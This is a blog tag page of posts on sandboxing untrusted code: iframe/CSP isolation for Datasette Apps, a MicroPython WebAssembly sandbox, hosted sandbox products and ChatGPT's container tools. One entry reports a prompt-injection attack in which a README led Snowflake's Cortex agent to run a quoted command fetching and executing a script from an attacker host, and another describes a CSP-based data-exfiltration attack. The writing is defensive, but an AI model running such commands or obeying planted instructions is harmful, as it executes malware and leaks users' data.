Simon Willison's Weblog: sandboxing

Datasette Apps: Host custom HTML applications inside Datasette

2026-06-18T23:58:38+00:00

Today we launched a new plugin for Datasette, datasette-apps, with this launch announcement post on the Datasette project blog. That post has the what, but I'm going to expand on that a little bit here to provide the why.

The TL;DR

Datasette Apps are self-contained HTML+JavaScript applications that run in a tightly constrained <iframe> sandbox hosted on your Datasette application. They can use JavaScript to run read-only SQL queries against data in Datasette, and can run write queries too if you configure them with some stored queries.

Here's a very simple example and a more complex custom timeline example - the latter looks like this:

Apps are allowed to run JavaScript and render HTML and CSS. They are limited in terms of access - the <iframe sandbox="allow-scripts allow-forms"> they run in prevents them from accessing cookies or localStorage and they also have an injected CSP header (thanks to this research) which prevents them from making HTTP requests to outside hosts, preventing a malicious or buggy app from exfiltrating private data.

Datasette Apps started out as my attempt at building a Claude Artifacts mechanism for Datasette Agent, but I quickly realised that the sandboxed pattern is interesting for way more than just adding custom apps in a chat interface and promoted it to its own top-level concept within the Datasette ecosystem.

They're also a fun way to turn my multi-year experiment in vibe-coded HTML tools into a core feature of my main project!

You can try out Datasette Apps by signing in with GitHub to the agent.datasette.io demo instance.

Why build this?

Since the very first release, Datasette has offered a flexible backend for creating custom HTML apps via its JSON API.

One of my earliest Datasette projects was an internal search engine for documentation when I worked at Eventbrite - it worked by importing documents from different systems into SQLite on a cron and then serving them through a Datasette instance with a custom HTML+JavaScript search interface that directly queried the Datasette API.

I had client-side JavaScript constructing SQL queries, which originally was intended as an engineering joke but turned out to be a really productive way of iterating on the app!

That project, combined with my experience building my HTML tools collection and my experiments with Claude Artifacts, has convinced me that adding a Datasette-style backend to a self-contained HTML frontend is an astonishingly powerful combination.

Imagine how much more useful Claude Artifacts could be if they had access to a persistent relational database. That's what I'm building with Datasette Apps!

Neat ideas in Datasette Apps

Here are a few of the ideas and patterns I've figured out building this which I think have staying power.

`<iframe sandbox="allow-scripts" srcdoc="...">` + `<meta http-equiv="Content-Security-Policy" content="default-src 'none'; script-src 'unsafe-inline'; style-src 'unsafe-inline'; img-src data: blob:;">`

This is the magic combination that makes Datasette Apps feasible in the first place. I need to run untrusted HTML and JavaScript on a highly sensitive domain - an authenticated Datasette instance can contain all sorts of private data. The sandbox= attribute lets me run that untrusted code in a way that cannot interact with the parent application - it can't read the DOM, or access cookies, or steal secrets from localStorage. It can however use fetch() and friends to load content (or exfiltrate data) from other domains. But... it turns out if you start an HTML page with a <meta http-equiv="Content-Security-Policy"> header you can set additional policies that lock down access to other domains. I was worried that malicious JavaScript would be able to update or remove that header but it turns out that doesn't work - once set, the CSP policy is immutable for the content of that frame.

Locked down APIs with `postMessage()` and `MessageChannel()`

Having locked down those iframes to the point that they couldn't do anything interesting at all, the challenge was to open them back again such that they could run an allow-list of operations, starting with read-only SQL queries against specified databases.

I built the first version of this with postMessage(), which allows a child iframe to send messages to the parent window. I created a simple protocol for requesting that the parent run a SQL query - the parent could then verify it was against an allow-listed database before executing it.

One of the LLM tools, I think it was GPT-5.5, suggested that postMessage() on its own can be exploited if the iframe somehow loads additional code from an untrusted domain. I don't think that applies to Datasette Apps, but I also believe in defense in depth, so I had GPT-5.5 help me port to a MessageChannel() based transport instead.

MessageChannel() has the advantage that if a page navigates to somewhere else the channel closes automatically, removing any chance of executing commands sent from an untrusted external page.

Visible logs, for queries and errors

If you navigate to the timeline demo and search for the string usercontent you'll pull in some search results that embed images from the user-images.githubusercontent.com domain. This domain is not in the CSP allow-list, so it trips an error.

Those errors are captured and transmitted back to the parent frame, where they can be displayed in a useful error log. This is meant to make hacking on apps more productive by surfacing otherwise-invisible problems.

I built an experiment demonstrating that you can even turn this into a one-click-to-allow mechanism for building the CSP allow-list based on what breaks, but I haven't integrated that idea into datasette-apps just yet.

SQL queries are also visibly logged - scroll to the bottom of the timeline page to see that in action.

Stored queries for write operations

I want apps to be able to conditionally write to the database, but this is an even more dangerous proposition than SQL reads!

My solution involves Datasette's stored queries feature, rebranded from "canned queries" and given a major upgrade in the recent Datasette 1.0a31 - work that was directly inspired by Datasette Apps.

Users can create a stored write query that performs an insert or update, then allow-list that specific query for an app to use. Usage from code inside an app looks like this:

const result = await datasette.storedQuery("todos", "add_todo", {
  title: "Buy milk",
  due_date: "2026-06-20",
  priority: "high",
  completed: false
});

I'm only just beginning to explore the possibilities this unlocks myself, but my goal is to support full read-write applications built safely as Datasette Apps.

Copy and paste a prompt to build an app

The Datasette Apps plugin has no dependency on LLMs at all, but these self-contained apps are the perfect shape to be written by a modern LLM.

The create app form includes a copyable prompt at the end. This prompt has everything a model needs to know to build a new app, including the schema of any selected databases.

This means you can click "copy", paste it into ChatGPT or Claude or Gemini, tell it what you need, and there's a good chance the model will spit out the code necessary to build the app.

If you have Datasette Agent installed your AI assistant will also gain tools to both create new apps and edit existing ones, Claude Artifacts style.

Built with so much AI assistance

Datasette Apps started life back in April as datasette-agent-artifacts, a plugin I have since renamed to datasette-agent-edit keeping only its editing tools. I built that as one of the first plugins for Datasette Agent, to help get the plugin hooks into the right shape. That first prototype was mainly built using Claude Opus 4.6 in Claude Code.

When I switched track to Datasette Apps I started with a plan constructed using Codex Desktop and GPT-5.5 xhigh, based on extensive dialog and feeding in both datasette-agent-artifacts and other prototypes I had built.

Most of the work that followed stuck with Codex, but in the few short days that we had access to Claude Fable 5 I had it run a security evaluation of the product (an ability that would get it banned by the US government shortly afterwards) and it found a very real problem.

I was allowing users to allow-list CSP hosts for their apps, but Fable pointed out the following attack:

A less privileged user with create-app permission creates an app that queries SQLite for all available tables and selects and exfiltrates all of the data to a host they had allow-listed via CSP.
They then trick an administrator user with access to private data into visiting their app.
... and the app can now run queries as that user and steal their private data!

That's clearly unacceptable. I fixed it by restricting the ability to allow-list any domain to a new apps-set-csp permission, which is intended just for trusted staff. Site administrators can also configure Datasette with a list of allowed_csp_origins, which regular users can then select. This means you can do things like allow cdnjs.cloudflare.com and your users will be able to build apps that load extra JavaScript libraries from the cdnjs CDN.

I've reviewed Datasette Apps extremely closely, especially the security-adjacent parts of it. The critical sandbox and CSP configuration are based on multiple AI-assisted prototypes and tests.

It's looking good so far

I'm really pleased with this initial release.

Datasette is growing beyond its origins as an application for serving read-only data into a much richer ecosystem of tools for doing useful things with that data once it has been collected.

Datasette's roots are in data journalism. I've always been interested in the question of what comes next after a journalist gets their hands on a giant dump of data about the world. Datasette supports exploring and publishing it. Datasette Agent adds interrogating it with AI assistance. Now Datasette Apps expands that to building custom interfaces and visualizations to help unlock the stories that are hidden within.

Tags: iframes, javascript, projects, sandboxing, ai, datasette, generative-ai, llms, ai-assisted-programming, content-security-policy

Publishing WASM wheels to PyPI for use with Pyodide

2026-06-13T23:55:18+00:00

The Pyodide 314.0 release announcement (via Hacker News) includes news I've been looking forward to for a long time:

You can now publish Python packages built for Pyodide (or any Python runtime compatible with the PyEmscripten platform defined in PEP 783) directly to PyPI and install them at runtime.

Previously, the Pyodide maintainers had to maintain, build, and host over 300 packages ourselves. This created a significant burden on our maintainers and became a major bottleneck for the community, as every new package required manual review.

Moving forward, package maintainers can simply build and publish Pyodide wheels to PyPI, just as they do for native wheels on Linux, macOS, or Windows.

Here's the PR to PyPI itself supporting this, which landed on April 21st.

I adore Pyodide, and have been frustrated in the past by this limitation. It's possible to compile C or Rust extensions to WASM in a wheel file, but before now there was no easy way to distribute them.

Thanks to the efforts of a whole lot of people, that's now been fixed!

Trying it out with luau-wasm

I decided to celebrate by finding something I could package. I have quite a few experimental Pyodide projects lying around, but the best fit for this looked to be my Luau WebAssembly research spike from 9th March.

Luau is a "small, fast, and embeddable programming language based on Lua with a gradual type system", developed by Roblox and released under an MIT license.

It's written in C++. I already knew it was possible to compile it to WebAssembly and get it running inside of Pyodide, so I set Codex + GPT-5.5 xhigh the task of packaging my experiment up and publishing it to PyPI using GitHub Actions.

It took some iteration, but here's the result: luau-wasm is a brand new PyPI package which publishes a 276KB luau_wasm-0.1a0-cp314-cp314-pyemscripten_2026_0_wasm32.whl file which can be used in Pyodide like this:

import micropip
await micropip.install("luau-wasm")
import luau_wasm
print(luau_wasm.execute(r'''
local animals = {"fox", "owl", "frog", "rabbit"}
table.sort(animals, function(a, b) return #a < #b end)
for i, name in animals do print(i .. ". " .. name .. " (" .. #name .. ")") end
'''))

You can run that code in the Pyodide REPL demo to see it in action.

The GitHub repo for luau-wasm includes all of the build and deploy scripts (using the latest cibuildwheel) and also deploys an HTML demo page which loads Pyodide, installs luau-wasm and provides an interface for trying it out: https://simonw.github.io/luau-wasm/

How many packages are using this so far?

I was curious to see how many packages are currently publishing wheels for this platform.

After some tinkering with ChatGPT I got to this BigQuery SQL which I ran against PyPI's public dataset on BigQuery. Here's the raw JSON of query results and here's a SQLite SQL query in Datasette Lite which dedupes packages by most recent upload date.

If the query is right, there are currently 28 PyPI packages publishing with the new pyemscripten_202*_wasm32 tags:

luau-wasm, uuid7-rs, cmm-16bit, pyOpenTTDAdmin, imgui-bundle, numbertoolkit, bashkit, geoarrow-rust-core, arro3-io, arro3-core, arro3-compute, onnx, powerfit-em, tcod, chonkie-core, tokie, robotraconteur, pydantic_core, yaml-rs, cadquery-ocp-novtk-OCP.wasm, uuid_utils, base64_utils, pycdfpp, lib3mf-OCP.wasm, typst, toml-rs, onnx-weekly, dummy-pyodide-ext-test

Here's hoping we see a whole lot more of those showing up over the coming months and years.

Tags: lua, pypi, python, sandboxing, webassembly, github-actions, pyodide

micropython-wasm 0.1a2

2026-06-06T04:26:06+00:00

Release: micropython-wasm 0.1a2

I added a CLI to micropython-wasm (issue #7), inspired by the first draft of the blog entry when I realized it would be a great way to illustrate the Try it yourself section.

Tags: python, sandboxing, webassembly, micropython

Running Python code in a sandbox with MicroPython and WASM

2026-06-06T03:53:34+00:00

I've been experimenting with different approaches to running code in a sandbox for several years now, but my latest attempt feels like it might finally have all of the characteristics I've been looking for. I've released it as an alpha package called micropython-wasm, and I'm using it for a code execution sandbox plugin for Datasette Agent called datasette-agent-micropython.

Why do I want a sandbox?

My key open source projects - Datasette, LLM, even sqlite-utils - all support plugins.

I absolutely love plugins as a mechanism for extending software. A carefully designed plugin system reduces the risk involved in trying new things to almost nothing - even the wildest ideas won't leave a lasting influence on the core application itself. My software can grow a new feature overnight and I don't even have to review a pull request!

There's one major drawback: my plugin systems all use Python and Pluggy, and plugin code executes with full privileges within my applications. A buggy or malicious plugin could break everything or leak private data.

I'd love to be able to run plugin-style code in an environment where it is unable to read unapproved files, connect to a network, or generally operate in a way that's risky or harmful to the rest of the application or the user's computer.

My interest covers more than just plugins. For Datasette in particular there are many features I'd like to support where arbitrary code execution would be useful. I've already experimented with this for Datasette Enrichments, where code can be used to transform values stored in a table. I'd love to build a mechanism where you can run code on a schedule that fetches JSON from an approved location, runs a tiny bit of code to reformat it into a list of dictionaries, then inserts those as rows in a SQLite database table.

What I want from a sandbox

My goal is to execute code safely within my own Python applications. Here's what I need:

Dependencies that cleanly install from PyPI, including binary wheels across multiple platforms if necessary. I don't want people using my software to have to take any extra steps beyond directly installing my Python package.
Executed code must be subject to both memory and CPU limits. I don't want while True: s += "longer string" to crash my application or the user's computer.
File access must be strictly controlled. Either no filesystem access at all or I get to define exactly which files can be read and which files can be written to.
Network access is controlled as well. Sandboxed code should not be able to communicate with anything without going through a layer I fully control.
Support for interaction with host functions. A sandbox isn't much use if I can't carefully expose selected platform features to the code that it's running.
It has to be robust, supported, and clearly documented. I've lost count of the number of sandbox projects I've seen in repos with warnings that they aren't actively maintained!

WebAssembly looks really promising here

Web browsers operate in the most hostile environment imaginable when it comes to malicious code. Their job is to download and execute untrusted code from the web on almost every page load.

Given this, JavaScript engines should be excellent candidates for sandboxes. Sadly those engines are also extremely complicated, and are not designed for easy embedding in other projects. Most of the V8-in-Python projects I've seen are infrequently maintained and come with warnings not to use them with completely untrusted code.

WebAssembly is a much better candidate. It was designed from the start to support all of the characteristics I care about and has been tested in browsers for nearly a decade. The wasmtime Python library brings WASM to Python, is actively maintained, and has binary wheels.

MicroPython in WebAssembly

WebAssembly engines like wasmtime run WebAssembly binaries. Some programming languages like Rust are easy to compile directly to WebAssembly. Dynamic languages like JavaScript and Python are harder - they support language primitives like eval(), which means they need a full interpreter available at runtime.

To run Python we need a full Python interpreter compiled to WebAssembly, wired up in a way that makes it easy to feed it code, hook up host functions and access the results.

Pyodide offers an outstanding package for running Python using WebAssembly in the browser, but using Pyodide in server-side Python isn't supported. The most recent advice I could find was from October 2024 stating "Pyodide is built by the Emscripten toolchain and can only run in a browser or Node.js".

The other day I decided to take a look at MicroPython as an option for this. The MicroPython site says:

MicroPython is a lean and efficient implementation of the Python 3 programming language that includes a small subset of the Python standard library and is optimised to run on microcontrollers and in constrained environments.

WebAssembly sure feels like a constrained environment to me!

Building the first version

I had GPT-5.5 Pro do some research for me, which turned up this PR against MicroPython by Yamamoto Takahashi titled "Experimental WASI support for ports/unix".

It then produced this research.md document, so I let Codex Desktop and GPT-5.5 high loose on it to see what would happen:

read the research.md document and build this. You will probably need to write a script that compiles a custom WASM version of MicroPython as part of this project - fetch the MicroPython code to a /tmp directory for this as part of that script.

It worked. I now had a prototype Python library that could execute Python code inside a WebAssembly sandbox!

The trickiest piece to solve was persistent interpreter state. The WASM build we are using here exposes a single entry point which starts the interpreter, runs the code and then stops the interpreter at the end.

This works fine for one-off scripts, but for Datasette Agent I want variables and functions to stay resident in memory so I can reuse them across multiple code execution calls.

A neat thing about working with coding agents is that you can get from an idea to a proof of concept quickly. I prompted:

For keeping variables resident: what if we ran code inside micropython itself which called a host function get_next_python_code() and then passed that to eval() - and that host function blocked until new code was available, maybe by running in a thread with a queue? Could that or a similar idea help here?

After some iteration we got to a version of this that works! In Python code you can now do this:

from micropython_wasm import MicroPythonSession

with MicroPythonSession() as session:
    print(session.run("x = 10\nprint(x)").stdout)
    print(session.run("x += 5\nprint(x)").stdout)
    print(session.run("print(x * 2)").stdout)

Under the hood this starts a thread, sets up a request queue and then sends messages to that queue for the session.run() command, each time waiting on a reply queue for the result of that execution. Inside WASM the MicroPython interpreter blocks waiting for a __session_next__() host function to return the next line of code, which it runs eval() on before calling __session_result__({"id": request_id, "ok": True}) when each block has been successfully executed.

The other piece of complexity was supporting host functions, so my Python library could selectively expose functions that could then be called by code running in MicroPython.

Codex ended up solving this with 78 lines of C, which ends up compiled into the 362KB WebAssembly blob I'm distributing with the package.

I am by no means a C programmer, but I've read the C and had two different models explain it to me (here's Claude's explanation) and I've subjected it to a barrage of tests.

The great thing about working with WebAssembly is that if the C turns out to be fatally flawed the worst that can happen is the WebAssembly execution will fail with an exception. I can live with that risk.

Memory limits are directly supported by wasmtime. CPU limits are a little harder: wasmtime offers a "fuel" concept to limit how many operations a WebAssembly call can execute, and that's the correct fit for this problem, but the units are hard to reason about. I'm experimenting with a 20 million default "fuel" setting now but I'm not confident that it's the most appropriate value.

Try it yourself

The micropython-wasm alpha is now live on PyPI.

You can try it from your own Python code as described in the README. I've also added a simple CLI mode in version 0.1a2 which means you can try it using uvx without first installing it like so:

uvx micropython-wasm -c 'print("Hello world")'
# To see it run out of fuel:
uvx micropython-wasm -c 's = ""; while True: s += "longer"'
# Outputs: micropython-wasm: guest exited with code 1

You can also try it in Datasette Agent like this:

uvx llm keys set openai
# Paste in an OpenAI key, then:
uvx --with datasette-agent \
  --with datasette-agent-micropython \
  --prerelease allow \
  datasette --internal internal.db \
    -s plugins.datasette-llm.default_model gpt-5.5 \
    --root -o

Then navigate to http://127.0.0.1:8001/-/agent and run the prompt:

show me some micropython

You can try a live demo of that plugin running in Datasette Agent by signing into agent.datasette.io with your GitHub account.

Should you trust my vibe-coded sandbox?

Having complained about immature, loosely-maintained sandboxing libraries, it's deeply ironic that I've now built my own!

I deliberately slapped an alpha release version on it, and I'm not ready to recommend it to anyone who isn't willing to take a significant risk.

I've put it through enough testing that I'm OK using it myself. I've shipped my first plugin that uses it, datasette-agent-micropython. I've also locked GPT-5.5 xhigh in that Datasette Agent plugin and challenged it to break out of the sandbox and so far it has not managed to.

I'm hoping this implementation can convince some companies with professional security teams and high-stakes problems to commit to using Python in WebAssembly as a sandboxing approach and open source their own solutions.

Tags: python, sandboxing, ai, datasette, webassembly, generative-ai, llms, ai-assisted-programming, codex, datasette-agent, micropython

datasette-agent-micropython 0.1a0

2026-06-02T19:28:36+00:00

Release: datasette-agent-micropython 0.1a0

I want Datasette Agent to be able to generate and execute Python code safely. This alpha is looking promising so far. GPT-5.5 has so far failed to break out of the sandbox!

Tags: python, sandboxing, datasette, webassembly, datasette-agent, micropython

micropython-wasm 0.1a1

2026-06-02T19:20:47+00:00

Release: micropython-wasm 0.1a1

Fixes for some limitations that emerged while I was trying to use this to build datasette-agent-micropython.

Tags: python, sandboxing, webassembly, micropython

micropython-wasm 0.1a0

2026-06-02T03:43:45+00:00

Release: micropython-wasm 0.1a0

My latest sandboxing experiment: This alpha package bundles a lightly customized WASM build of MicroPython with a wrapper to execute code in it via wasmtime.

Tags: python, sandboxing, webassembly, micropython

How we contain Claude across products

2026-05-30T21:36:24+00:00

How we contain Claude across products

A complaint I often have about sandboxing products is that they are rarely thoroughly documented, and in the absence of detailed documentation it's hard to know how much I can trust them.

Anthropic just published a fantastic overview of how their various sandbox techniques work across Claude.ai, Claude Code, and Cowork.

We constrain where and how an agent can act with process sandboxes, VMs, filesystem boundaries, and egress controls. The goal is to set a hard boundary on what an agent can reach. For example, if credentials never enter the sandbox, they can't be exfiltrated, regardless of whether the cause is a user, a model finding a “creative” path, or an attacker.

Claude.ai uses gVisor. Claude Code, run locally, uses Seatbelt on macOS and Bubblewrap on Linux. Claude Cowork runs a full VM (Apple's Virtualization framework on macOS, HCS on Windows).

There's a lot in here, including some interesting stories of risks they missed such as the api.anthropic.com/v1/files exfiltration vector covered here previously.

This reminded me it's time I took another look at Anthropic's open source srt (Anthropic Sandbox Runtime) tool - it's mature enough now that I'm ready to give it a proper go.

Tags: sandboxing, security, ai, generative-ai, llms, anthropic, claude, claude-code

pydantic-monty investigation

2026-05-22T22:41:00+00:00

Research: pydantic-monty investigation

It's been a few months since I last poked at Monty, the sandboxed subset of Python implemented in Rust. I had Claude Code look at the most recent release.

Importantly the max_duration_secs, max_memory, max_allocations, and max_recursion_depth settings all appear to work as advertised.

Tags: python, sandboxing, pydantic

datasette-agent-sprites 0.1a0

2026-05-21T18:21:07+00:00

Release: datasette-agent-sprites 0.1a0

A Datasette Agent plugin for running commands in a Fly Sprites sandbox.

Tags: sandboxing, datasette, fly, datasette-agent

Can JavaScript Escape a CSP Meta Tag Inside an Iframe?

2026-04-03T16:05:00+00:00

Research: Can JavaScript Escape a CSP Meta Tag Inside an Iframe?

In trying to build my own version of Claude Artifacts I got curious about options for applying CSP headers to content in sandboxed iframes without using a separate domain to host the files. Turns out you can inject <meta http-equiv="Content-Security-Policy"...> tags at the top of the iframe content and they'll be obeyed even if subsequent untrusted JavaScript tries to manipulate them.

Tags: iframes, javascript, sandboxing, security, content-security-policy

JavaScript Sandboxing Research

2026-03-22T19:53:00+00:00

Research: JavaScript Sandboxing Research

Aaron Harper wrote about Node.js worker threads, which inspired me to run a research task to see if they might help with running JavaScript in a sandbox. Claude Code went way beyond my initial question and produced a comparison of isolated-vm, vm2, quickjs-emscripten, QuickJS-NG, ShadowRealm, and Deno Workers.

Tags: javascript, nodejs, sandboxing, claude-code

Snowflake Cortex AI Escapes Sandbox and Executes Malware

2026-03-18T17:43:49+00:00

Snowflake Cortex AI Escapes Sandbox and Executes Malware

PromptArmor report on a prompt injection attack chain in Snowflake's Cortex Agent, now fixed.

The attack started when a Cortex user asked the agent to review a GitHub repository that had a prompt injection attack hidden at the bottom of the README.

The attack caused the agent to execute this code:

cat < <(sh < <(wget -q0- https://ATTACKER_URL.com/bugbot))

Cortex listed cat commands as safe to run without human approval, without protecting against this form of process substitution that can occur in the body of the command.

I've seen allow-lists against command patterns like this in a bunch of different agent tools and I don't trust them at all - they feel inherently unreliable to me.

I'd rather treat agent commands as if they could do anything that process itself is allowed to do, hence my interest in deterministic sandboxes that operate outside of the layer of the agent itself.

Via Hacker News

Tags: sandboxing, security, ai, prompt-injection, generative-ai, llms

Luau WebAssembly: Browser Playground + Python wasmtime

2026-03-09T21:46:00+00:00

Research: Luau WebAssembly: Browser Playground + Python wasmtime

Luau is an MIT licensed "small, fast, and embeddable programming language based on Lua with a gradual type system", created by Roblox.

As part of my ongoing obsession with sandboxed runtimes I decided to see if I could get it working via WebAssembly in both Python and Pyodide.

Tags: lua, python, sandboxing, webassembly, pyodide

Running Pydantic's Monty Rust sandboxed Python subset in WebAssembly

2026-02-06T22:31:31+00:00

There's a jargon-filled headline for you! Everyone's building sandboxes for running untrusted code right now, and Pydantic's latest attempt, Monty, provides a custom Python-like language (a subset of Python) in Rust and makes it available as both a Rust library and a Python package. I got it working in WebAssembly, providing a sandbox-in-a-sandbox.

Here's how they describe Monty:

Monty avoids the cost, latency, complexity and general faff of using full container based sandbox for running LLM generated code.

Instead, it let's you safely run Python code written by an LLM embedded in your agent, with startup times measured in single digit microseconds not hundreds of milliseconds.

What Monty can do:

Run a reasonable subset of Python code - enough for your agent to express what it wants to do

Completely block access to the host environment: filesystem, env variables and network access are all implemented via external function calls the developer can control

Call functions on the host - only functions you give it access to [...]

A quick way to try it out is via uv:

uv run --with pydantic-monty python -m asyncio

Then paste this into the Python interactive prompt - the -m asyncio enables top-level await:

import pydantic_monty
code = pydantic_monty.Monty('print("hello " + str(4 * 5))')
await pydantic_monty.run_monty_async(code)

Monty supports a very small subset of Python - it doesn't even support class declarations yet!

But, given its target use-case, that's not actually a problem.

The neat thing about providing tools like this for LLMs is that they're really good at iterating against error messages. A coding agent can run some Python code, get an error message telling it that classes aren't supported and then try again with a different approach.

I wanted to try this in a browser, so I fired up a code research task in Claude Code for web and kicked it off with the following:

Clone https://github.com/pydantic/monty to /tmp and figure out how to compile it into a python WebAssembly wheel that can then be loaded in Pyodide. The wheel file itself should be checked into the repo along with build scripts and passing pytest playwright test scripts that load Pyodide from a CDN and the wheel from a “python -m http.server” localhost and demonstrate it working

Then a little later:

I want an additional WASM file that works independently of Pyodide, which is also usable in a web browser - build that too along with playwright tests that show it working. Also build two HTML files - one called demo.html and one called pyodide-demo.html - these should work similar to https://tools.simonwillison.net/micropython (download that code with curl to inspect it) - one should load the WASM build, the other should load Pyodide and have it use the WASM wheel. These will be served by GitHub Pages so they can load the WASM and wheel from a relative path since the .html files will be served from the same folder as the wheel and WASM file

Here's the transcript, and the final research report it produced.

I now have the Monty Rust code compiled to WebAssembly in two different shapes - as a .wasm bundle you can load and call from JavaScript, and as a monty-wasm-pyodide/pydantic_monty-0.0.3-cp313-cp313-emscripten_4_0_9_wasm32.whl wheel file which can be loaded into Pyodide and then called from Python in Pyodide in WebAssembly in a browser.

Here are those two demos, hosted on GitHub Pages:

Monty WASM demo - a UI over JavaScript that loads the Rust WASM module directly.
Monty Pyodide demo - this one provides an identical interface but here the code is loading Pyodide and then installing the Monty WASM wheel.

As a connoisseur of sandboxes - the more options the better! - this new entry from Pydantic ticks a lot of my boxes. It's small, fast, widely available (thanks to Rust and WebAssembly) and provides strict limits on memory usage, CPU time and access to disk and network.

It was also a great excuse to spin up another demo showing how easy it is these days to turn compiled code like C or Rust into WebAssembly that runs in both a browser and a Pyodide environment.

Tags: javascript, python, sandboxing, ai, rust, webassembly, pyodide, generative-ai, llms, ai-assisted-programming, pydantic, coding-agents, claude-code

Introducing Deno Sandbox

2026-02-03T22:44:50+00:00

Introducing Deno Sandbox

Here's a new hosted sandbox product from the Deno team. It's actually unrelated to Deno itself - this is part of their Deno Deploy SaaS platform. As such, you don't even need to use JavaScript to access it - you can create and execute code in a hosted sandbox using their deno-sandbox Python library like this:

export DENO_DEPLOY_TOKEN="... API token ..."
uv run --with deno-sandbox python

Then:

from deno_sandbox import DenoDeploy

sdk = DenoDeploy()

with sdk.sandbox.create() as sb:
    # Run a shell command
    process = sb.spawn(
        "echo", args=["Hello from the sandbox!"]
    )
    process.wait()
    # Write and read files
    sb.fs.write_text_file(
        "/tmp/example.txt", "Hello, World!"
    )
    print(sb.fs.read_text_file(
        "/tmp/example.txt"
    ))

There’s a JavaScript client library as well. The underlying API isn’t documented yet but appears to use WebSockets.

There’s a lot to like about this system. Sandboxe instances can have up to 4GB of RAM, get 2 vCPUs, 10GB of ephemeral storage, can mount persistent volumes and can use snapshots to boot pre-configured custom images quickly. Sessions can last up to 30 minutes and are billed by CPU time, GB-h of memory and volume storage usage.

When you create a sandbox you can configure network domains it’s allowed to access.

My favorite feature is the way it handles API secrets.

with sdk.sandboxes.create(
    allowNet=["api.openai.com"],
    secrets={
        "OPENAI_API_KEY": {
            "hosts": ["api.openai.com"],
            "value": os.environ.get("OPENAI_API_KEY"),
        }
    },
) as sandbox:
    # ... $OPENAI_API_KEY is available

Within the container that $OPENAI_API_KEY value is set to something like this:

DENO_SECRET_PLACEHOLDER_b14043a2f578cba...

Outbound API calls to api.openai.com run through a proxy which is aware of those placeholders and replaces them with the original secret.

In this way the secret itself is not available to code within the sandbox, which limits the ability for malicious code (e.g. from a prompt injection) to exfiltrate those secrets.

From a comment on Hacker News I learned that Fly have a project called tokenizer that implements the same pattern. Adding this to my list of tricks to use with sandoxed environments!

Via Hacker News

Tags: python, sandboxing, security, deno, fly

Introducing the Codex app

2026-02-02T19:54:36+00:00

Introducing the Codex app

OpenAI just released a new macOS app for their Codex coding agent. I've had a few days of preview access - it's a solid app that provides a nice UI over the capabilities of the Codex CLI agent and adds some interesting new features, most notably first-class support for Skills, and Automations for running scheduled tasks.

The app is built with Electron and Node.js. Automations track their state in a SQLite database - here's what that looks like if you explore it with uvx datasette ~/.codex/sqlite/codex-dev.db:

Here’s an interactive copy of that database in Datasette Lite.

The announcement gives us a hint at some usage numbers for Codex overall - the holiday spike is notable:

Since the launch of GPT‑5.2-Codex in mid-December, overall Codex usage has doubled, and in the past month, more than a million developers have used Codex.

Automations are currently restricted in that they can only run when your laptop is powered on. OpenAI promise that cloud-based automations are coming soon, which will resolve this limitation.

They chose Electron so they could target other operating systems in the future, with Windows “coming very soon”. OpenAI’s Alexander Embiricos noted on the Hacker News thread that:

it's taking us some time to get really solid sandboxing working on Windows, where there are fewer OS-level primitives for it.

Like Claude Code, Codex is really a general agent harness disguised as a tool for programmers. OpenAI acknowledge that here:

Codex is built on a simple premise: everything is controlled by code. The better an agent is at reasoning about and producing code, the more capable it becomes across all forms of technical and knowledge work. [...] We’ve focused on making Codex the best coding agent, which has also laid the foundation for it to become a strong agent for a broad range of knowledge work tasks that extend beyond writing code.

Claude Code had to rebrand to Cowork to better cover the general knowledge work case. OpenAI can probably get away with keeping the Codex name for both.

OpenAI have made Codex available to free and Go plans for "a limited time" (update: Sam Altman says two months) during which they are also doubling the rate limits for paying users.

Tags: sandboxing, sqlite, ai, datasette, electron, openai, generative-ai, llms, ai-agents, coding-agents, codex

ChatGPT Containers can now run bash, pip/npm install packages, and download files

2026-01-26T19:19:31+00:00

One of my favourite features of ChatGPT is its ability to write and execute code in a container. This feature launched as ChatGPT Code Interpreter nearly three years ago, was half-heartedly rebranded to "Advanced Data Analysis" at some point and is generally really difficult to find detailed documentation about. Case in point: it appears to have had a massive upgrade at some point in the past few months, and I can't find documentation about the new capabilities anywhere!

Here are the most notable new features:

ChatGPT can directly run Bash commands now. Previously it was limited to Python code only, although it could run shell commands via the Python subprocess module.
It has Node.js and can run JavaScript directly in addition to Python. I also got it to run "hello world" in Ruby, Perl, PHP, Go, Java, Swift, Kotlin, C and C++. No Rust yet though!
While the container still can't make outbound network requests, pip install package and npm install package both work now via a custom proxy mechanism.
ChatGPT can locate the URL for a file on the web and use a container.download tool to download that file and save it to a path within the sandboxed container.

This is a substantial upgrade! ChatGPT can now write and then test code in 10 new languages (11 if you count Bash), can find files online and download them into the container, and can install additional packages via pip and npm to help it solve problems.

(OpenAI really need to develop better habits at keeping their release notes up-to-date!)

I was initially suspicious that maybe I'd stumbled into a new preview feature that wasn't available to everyone, but I tried some experiments in a free ChatGPT account and confirmed that the new features are available there as well.

container.download

My first clue to the new features came the other day when I got curious about Los Angeles air quality, in particular has the growing number of electric vehicles there had a measurable impact?

I prompted a fresh GPT-5.2 Thinking session with:

Show me Los Angeles air quality over time for last 20 years

Here's the shared transcript. Annoyingly that doesn't make the thinking trace available, so here's a screenshot:

This bit instantly caught my eye:

[...] The URL from the error message leads to an Excel file containing air quality trends. I can use the container.download tool to fetch it. [...]

What's container.download? I asked ChatGPT:

Without running any searches tell me about your container.download tool

And got back:

Sure. container.download is a built-in tool I can call that fetches a file from a URL and saves it into the sandboxed container filesystem for this chat session.

What it does

Takes a publicly reachable URL and a destination filepath in the container.

Downloads the bytes from that URL and writes them to the given path.

After that, I can read/process the file locally in the container (e.g., unzip it, parse it with Python, open it as an image, convert it, etc.).

Signature (inputs)

It’s called like this (conceptually):
{
  "url": "https://example.com/somefile.zip",
  "filepath": "/mnt/data/somefile.zip"
}

Further experimentation confirmed that container.download behaves as described.

I had it download one file from a server with logs enabled and captured the IP address and user-agent. Here are the most interesting headers:

User-Agent: Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko); compatible; ChatGPT-User/1.0; +https://openai.com/bot
Accept: text/html, application/xhtml+xml, application/xml;q=0.9, image/avif, image/webp, image/apng, */*;q=0.8, application/signed-exchange;v=b3;q=0.9
Cf-Connecting-Ip: 52.230.164.178

That 52.230.164.178 IP address resolves to Microsoft Azure Cloud (centralus) in Des Moines, Iowa.

Is container.download a data exfiltration vulnerability?

On the one hand, this is really useful! ChatGPT can navigate around websites looking for useful files, download those files to a container and then process them using Python or other languages.

